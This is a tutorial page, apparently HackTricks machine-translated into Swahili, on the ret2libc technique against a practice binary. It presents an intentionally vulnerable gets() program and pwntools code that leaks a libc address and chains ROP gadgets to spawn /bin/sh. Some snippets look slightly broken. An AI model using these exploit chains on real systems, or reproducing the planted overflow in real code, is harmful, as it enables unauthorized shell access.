Leaking libc address with ROP

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Muhtasari Haraka

  1. Pata kosa la kuzidi kiasi

  2. Pata kifaa cha POP_RDI, PUTS_PLT na kifaa cha MAIN

  3. Tumia vifaa vilivyopita kwa kuvuja anwani ya kumbukumbu ya puts au kazi nyingine ya libc na pata toleo la libc (pakua hapa)

  4. Kwa kutumia maktaba, hesabu ROP na itumie

Mafunzo mengine na binaries za mazoezi

Mafunzo haya yataharibu nambari/binari iliyopendekezwa katika mafunzo haya: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Mafunzo mengine muhimu: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Nambari

Jina la faili: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Kupoteza Kigezo cha LIBC

Pakua shambulizi na uiweke kwenye saraka ile ile na faili dhaifu na toa data inayohitajika kwa script:

pageLeaking libc - template

1- Kupata kigezo

Kigezo kinahitaji kigezo kabla ya kuendelea na shambulizi. Ikiwa hakuna kinachotolewa, itatekeleza nambari inayohitajika kuipata (kwa chaguo-msingi OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Tekeleza python template.py console ya GDB itafunguliwa na programu itakuwa imeharibika. Ndani ya console ya GDB tekeleza x/wx $rsp ili kupata bayti ambazo zingebadilisha RIP. Hatimaye pata kielezo kwa kutumia console ya python:

from pwn import *
cyclic_find(0x6161616b)

Baada ya kupata mbali (katika kesi hii 40) badilisha kipengee cha OFFSET ndani ya kigezo kwa kutumia thamani hiyo. OFFSET = "A" * 40

Njia nyingine itakuwa kutumia: pattern create 1000 -- execute until ret -- pattern seach $rsp kutoka GEF.

2- Kupata Gadgets

Sasa tunahitaji kupata Gadgets za ROP ndani ya binary. Gadgets hizi za ROP zitakuwa na manufaa kuita puts ili kupata libc inayotumiwa, na baadaye kwa kuzindua shambulio la mwisho.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT inahitajika kuita function puts. MAIN_PLT inahitajika kuita main function tena baada ya mwingiliano mmoja kwa kutumia kuzidi tena (mizunguko isiyo na mwisho ya kutumia). Inatumika mwishoni mwa kila ROP kuita programu tena. POP_RDI inahitajika kwa kupitisha parameter kwa kazi iliyoitwa.

Katika hatua hii hauitaji kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.

3- Kupata maktaba ya libc

Sasa ni wakati wa kugundua ni toleo gani la maktaba ya libc inayotumiwa. Ili kufanya hivyo tutalekeza anwani kwenye kumbukumbu ya function puts na kisha tutatafuta katika ni toleo gani la maktaba puts iko kwenye anwani hiyo.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Ili kufanya hivyo, mstari muhimu zaidi wa nambari iliyotekelezwa ni:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Hii itatuma baadhi ya bayti hadi kuandika tena RIP iwezekanavyo: OFFSET. Kisha, itaweka anwani ya kifaa POP_RDI ili anwani inayofuata (FUNC_GOT) iokolewe kwenye daftari la RDI. Hii ni kwa sababu tunataka kuita puts ikiipitisha anwani ya PUTS_GOT kama anwani kwenye kumbukumbu ya kazi ya puts imehifadhiwa kwenye anwani inayoashiria na PUTS_GOT. Baada ya hayo, PUTS_PLT itaitwa (ikiwa na PUTS_GOT ndani ya RDI) hivyo puts itasoma maudhui ndani ya PUTS_GOT (anwani ya kazi ya puts kwenye kumbukumbu) na ita ichapisha. Hatimaye, kazi kuu inaitwa tena ili tuweze kutumia kujaza tena.

Kwa njia hii tumefanya udanganyifu wa kazi ya puts ili ichapishe anwani kwenye kumbukumbu ya kazi ya puts (ambayo iko ndani ya maktaba ya libc). Sasa tukiwa na anwani hiyo tunaweza kutafuta ni toleo gani la libc linalotumiwa.

Kwa kuwa tunatumia baadhi ya binary za ndani haifai kufikiria ni toleo gani la libc linatumika (tuipate maktaba katika /lib/x86_64-linux-gnu/libc.so.6). Lakini, katika kesi ya shambulio la mbali nitaeleza hapa jinsi unavyoweza kuipata:

3.1- Kutafuta toleo la libc (1)

Unaweza kutafuta ni maktaba ipi inayotumiwa kwenye ukurasa wa wavuti: https://libc.blukat.me/ Pia itakuruhusu kupakua toleo lililopatikana la libc

3.2- Kutafuta toleo la libc (2)

Unaweza pia kufanya:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Hii itachukua muda, kuwa mvumilivu. Ili hii ifanye kazi tunahitaji:

  • Jina la ishara ya libc: puts

  • Anwani iliyovuja ya libc: 0x7ff629878690

Tunaweza kufikiria ni libc ipi inayotumiwa kwa kiasi kikubwa.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Tunapata mechi 2 (unapaswa kujaribu ya pili ikiwa ya kwanza haifanyi kazi). Pakua ya kwanza:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Kazi nyingine za kuvuja

Nakili libc kutoka libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so hadi katika directory yetu ya kufanyia kazi.

puts
printf
__libc_start_main
read
gets

4- Kupata anwani ya msingi ya libc & kuitumia

Kufikia hatua hii tunapaswa kujua maktaba ya libc iliyotumiwa. Tukitumia programu-jalizi ya ndani nitatumia tu: /lib/x86_64-linux-gnu/libc.so.6

Kwa hivyo, mwanzoni mwa template.py badilisha libc kwa: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set njia ya maktaba unapojua

Kwa kutoa njia ya maktaba ya libc sehemu nyingine ya kutumia itahesabiwa kiotomatiki.

Ndani ya kazi ya get_addr anwani ya msingi ya libc itahesabiwa:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Tafadhali kumbuka kwamba anwani ya mwisho ya msingi wa libc lazima imalizike kwa 00. Ikiwa hali yako sio hiyo, unaweza kuwa umevuja maktaba isiyo sahihi.

Kisha, anwani ya kazi system na anwani ya mfuatano "/bin/sh" zitahesabiwa kutoka kwa anwani ya msingi ya libc na kutoa maktaba ya libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Hatimaye, shambulio la utekelezaji wa /bin/sh linakaribia kuandaliwa kutumwa:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Tufafanue hii ROP ya mwisho. ROP ya mwisho (rop1) ilimaliza kwa kuita tena kazi kuu, kisha tunaweza kutumia tena kuzidi (ndiyo maana OFFSET iko hapa tena). Kisha, tunataka kuita POP_RDI ikielekeza kwa anwani ya "/bin/sh" (BINSH) na kuita kazi ya system (SYSTEM) kwa sababu anwani ya "/bin/sh" itapitishwa kama parameter. Hatimaye, anwani ya kazi ya exit inaitwa ili mchakato uishe vizuri na tahadhari yoyote isitoke.

Kwa njia hii, shambulizi litatekeleza kifaa cha _/bin/sh_**.

4(2)- Kutumia ONE_GADGET

Unaweza pia kutumia ONE_GADGET kupata kifaa cha shell badala ya kutumia system na "/bin/sh". ONE_GADGET itapata ndani ya maktaba ya libc njia ya kupata kifaa cha shell kwa kutumia anwani moja tu ya ROP. Hata hivyo, kawaida kuna vizuizi, vya kawaida na rahisi kuepuka ni kama [rsp+0x30] == NULL. Kwa kuwa unadhibiti thamani ndani ya RSP unachotakiwa kufanya ni kutuma thamani zingine za NULL ili kuepuka kizuizi hicho.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FAILI LA KUHARIBIKA

Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:

pageLeaking libc - template

Matatizo ya Kawaida

MAIN_PLT = elf.symbols['main'] haipatikani

Ikiwa ishara ya "main" haipo. Kisha unaweza kupata wapi msimbo wa kuu:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

na weka anwani kwa mkono:

MAIN_PLT = 0x401080

Puts haipatikani

Ikiwa binary haikutumii Puts unapaswa kuangalia ikiwa inatumia

sh: 1: %s%s%s%s%s%s%s%s: haipatikani

Ikiwa utapata kosa hili baada ya kuunda exploit yote: sh: 1: %s%s%s%s%s%s%s%s: haipatikani

Jaribu kutoa 64 bytes kwa anwani ya "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated